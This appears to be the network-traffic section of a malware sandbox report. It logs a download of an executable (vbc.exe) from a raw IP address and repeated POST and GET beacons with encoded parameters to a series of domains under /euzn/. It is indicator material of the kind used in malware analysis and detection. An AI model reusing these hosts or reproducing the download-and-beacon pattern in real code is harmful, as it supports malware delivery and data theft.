Network Analysis

GET /0011/vbc.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E) Host: 103.171.0.220 Connection: Keep-Alive

HTTP/1.1 200 OK Date: Sat, 30 Oct 2021 02:58:00 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.12 Last-Modified: Fri, 29 Oct 2021 11:04:53 GMT ETag: "5de00-5cf7bcbf4c960" Accept-Ranges: bytes Content-Length: 384512 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload

POST /euzn/ HTTP/1.1 Host: www.esd66.com Connection: close Content-Length: 281 Cache-Control: no-cache Origin: http://www.esd66.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.esd66.com/euzn/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /euzn/?GPJ=IQD8yqUxjaKbmWvxY5YgKaEhD1SzG9nYqUof4YAZsyxYzAzp9zRFmOd/JMKDibdr94YK0rFj&oX=Txo8nZfpM8h4 HTTP/1.1 Host: www.esd66.com Connection: close

HTTP/1.1 404 Not Found Date: Sat, 30 Oct 2021 02:58:53 GMT Content-Type: text/html; charset=us-ascii Content-Length: 315 Connection: close Server: Microsoft-HTTPAPI/2.0

POST /euzn/ HTTP/1.1 Host: www.mecasso.store Connection: close Content-Length: 281 Cache-Control: no-cache Origin: http://www.mecasso.store User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.mecasso.store/euzn/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /euzn/?GPJ=5V4tZ993so02mJc3sFQ1G2n5zFyOyfQP63UMvRPf7Sx02fgR5BEy180KOo1jDAfLNmzZkM90&oX=Txo8nZfpM8h4 HTTP/1.1 Host: www.mecasso.store Connection: close

HTTP/1.1 403 Forbidden Server: awselb/2.0 Date: Sat, 30 Oct 2021 02:59:00 GMT Content-Type: text/html Content-Length: 118 Connection: close

POST /euzn/ HTTP/1.1 Host: www.235296tyc.com Connection: close Content-Length: 281 Cache-Control: no-cache Origin: http://www.235296tyc.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.235296tyc.com/euzn/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /euzn/?GPJ=qPG280hY3bVwFWYgPYUPmF0yLOv8ZOX3N77VjzujjWFTLW7L05+D5h5Mp3mfBnzq5vwwDWs5&oX=Txo8nZfpM8h4 HTTP/1.1 Host: www.235296tyc.com Connection: close

HTTP/1.1 301 Moved Permanently Date: Sat, 30 Oct 2021 02:59:06 GMT Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 Expires: Sat, 30 Oct 2021 03:59:06 GMT Location: https://www.235296tyc.com/euzn/?GPJ=qPG280hY3bVwFWYgPYUPmF0yLOv8ZOX3N77VjzujjWFTLW7L05+D5h5Mp3mfBnzq5vwwDWs5&oX=Txo8nZfpM8h4 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=moBdCA2bO5ahIicm9TagHve7iVJRn5qktePbIWJdb93w3U1M1DREJqCAQcyJJ35YLrwyYY5Jb6Eb4qKEgoQUcEnm0aKrXKGgFqZopKJogDozLxTMCUZJznivmQo9GuGWUlQq5g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a6162ba9b3b0a7e-KIX alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

POST /euzn/ HTTP/1.1 Host: www.chaoxy.com Connection: close Content-Length: 281 Cache-Control: no-cache Origin: http://www.chaoxy.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.chaoxy.com/euzn/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /euzn/?GPJ=p54zT/BC/x4SoLDl4CDH46eZzoug/1aAOGG+RO71GifqYqkWwddMiniK8tFlkYqJGNGj/CA6&oX=Txo8nZfpM8h4 HTTP/1.1 Host: www.chaoxy.com Connection: close

HTTP/1.1 404 Not Found Server: kangle/3.5.8 Date: Sat, 30 Oct 2021 02:53:26 GMT Content-Length: 960 Connection: close

POST /euzn/ HTTP/1.1 Host: www.newbeautydk.com Connection: close Content-Length: 281 Cache-Control: no-cache Origin: http://www.newbeautydk.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.newbeautydk.com/euzn/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /euzn/?GPJ=6sAauxhCLdP7c3t2Bq+0dcztdOu3qC96/c3RA+P4V1r5NX6fjKtAwrvy/oq5eYG/IMq0e3QV&oX=Txo8nZfpM8h4 HTTP/1.1 Host: www.newbeautydk.com Connection: close

HTTP/1.1 403 Forbidden Date: Sat, 30 Oct 2021 02:59:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Sorting-Hat-PodId: 177 X-Sorting-Hat-ShopId: 56841109682 X-Dc: gcp-asia-northeast2 X-Request-ID: b51ba5b9-6949-412a-b75c-06a66c941b95 X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 1; mode=block X-Download-Options: noopen CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 6a6163498f01fced-KIX alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

POST /euzn/ HTTP/1.1 Host: www.aidenb.tech Connection: close Content-Length: 281 Cache-Control: no-cache Origin: http://www.aidenb.tech User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.aidenb.tech/euzn/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Sat, 30 Oct 2021 02:59:34 GMT server: LiteSpeed location: https://www.aidenb.tech/euzn/ content-security-policy: upgrade-insecure-requests

GET /euzn/?GPJ=1IX3VtbgCTbtlwCwA2UuwAMw7IFESF9lL1UJSvXyFA7beRMLnuzxa3L8x0fgk6lRopDxesZY&oX=Txo8nZfpM8h4 HTTP/1.1 Host: www.aidenb.tech Connection: close

HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Sat, 30 Oct 2021 02:59:34 GMT server: LiteSpeed location: https://www.aidenb.tech/euzn/?GPJ=1IX3VtbgCTbtlwCwA2UuwAMw7IFESF9lL1UJSvXyFA7beRMLnuzxa3L8x0fgk6lRopDxesZY&oX=Txo8nZfpM8h4 content-security-policy: upgrade-insecure-requests

POST /euzn/ HTTP/1.1 Host: www.longshifa.online Connection: close Content-Length: 281 Cache-Control: no-cache Origin: http://www.longshifa.online User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.longshifa.online/euzn/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Date: Sat, 30 Oct 2021 02:59:40 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://longshifa.online/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8

GET /euzn/?GPJ=uAv+hDNIaWKTJHmotFieJseyqVavRyN/hzmyr84dVQggb+iPx2yKvWnxBifTpegawz+9IKiJ&oX=Txo8nZfpM8h4 HTTP/1.1 Host: www.longshifa.online Connection: close

HTTP/1.1 301 Moved Permanently Date: Sat, 30 Oct 2021 02:59:41 GMT Server: nginx/1.19.10 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://longshifa.online/euzn/?GPJ=uAv+hDNIaWKTJHmotFieJseyqVavRyN/hzmyr84dVQggb+iPx2yKvWnxBifTpegawz+9IKiJ&oX=Txo8nZfpM8h4 X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress X-Server-Cache: true X-Proxy-Cache: MISS

POST /euzn/ HTTP/1.1 Host: www.jakital.com Connection: close Content-Length: 281 Cache-Control: no-cache Origin: http://www.jakital.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.jakital.com/euzn/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://www.hugedomains.com/domain_profile.cfm?d=jakital&e=com Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Sat, 30 Oct 2021 02:59:31 GMT Connection: close Content-Length: 183

GET /euzn/?GPJ=GUGPZqYkRSeqmYe7e5IS+Ei9iGFRID/i/07dgdYcr1Gx3jMum/GSR7RR4tExlRct2vCBg0O1&oX=Txo8nZfpM8h4 HTTP/1.1 Host: www.jakital.com Connection: close

HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://www.hugedomains.com/domain_profile.cfm?d=jakital&e=com Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Sat, 30 Oct 2021 02:59:31 GMT Connection: close Content-Length: 183

POST /euzn/ HTTP/1.1 Host: www.arceprojects.com Connection: close Content-Length: 281 Cache-Control: no-cache Origin: http://www.arceprojects.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.arceprojects.com/euzn/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /euzn/?GPJ=YRXSBiSDQSCZhMMUR8bbHnyPN+rRNpjXZ/H6tz5eiGlkZ6MPFWs4UspiD2SvKhVY+KpYofGz&oX=Txo8nZfpM8h4 HTTP/1.1 Host: www.arceprojects.com Connection: close

HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 596 Connection: close Date: Sat, 30 Oct 2021 02:59:53 GMT Server: Apache

POST /euzn/ HTTP/1.1 Host: www.chezvitoria.com Connection: close Content-Length: 281 Cache-Control: no-cache Origin: http://www.chezvitoria.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.chezvitoria.com/euzn/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 405 Not Allowed Server: openresty Date: Sat, 30 Oct 2021 02:59:59 GMT Content-Type: text/html Content-Length: 556 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_I1ZKCLT1DCosQveTmV/xdXcvT6+msgFg5y0Wi6V3uDo/ix3rVPPhykDJN3yELsCYReqskI8wYvM6C6HJSpfi+A Via: 1.1 google Connection: close

GET /euzn/?GPJ=GKdzzMH8ErMYBxlRei+3JyrXRgQOuFc7CB7CFsqySz81sLyYG5Fwl1ZfLnJdq0KjlXe5fq5T&oX=Txo8nZfpM8h4 HTTP/1.1 Host: www.chezvitoria.com Connection: close

HTTP/1.1 403 Forbidden Server: openresty Date: Sat, 30 Oct 2021 02:59:59 GMT Content-Type: text/html Content-Length: 275 ETag: "61794e8a-113" Via: 1.1 google Connection: close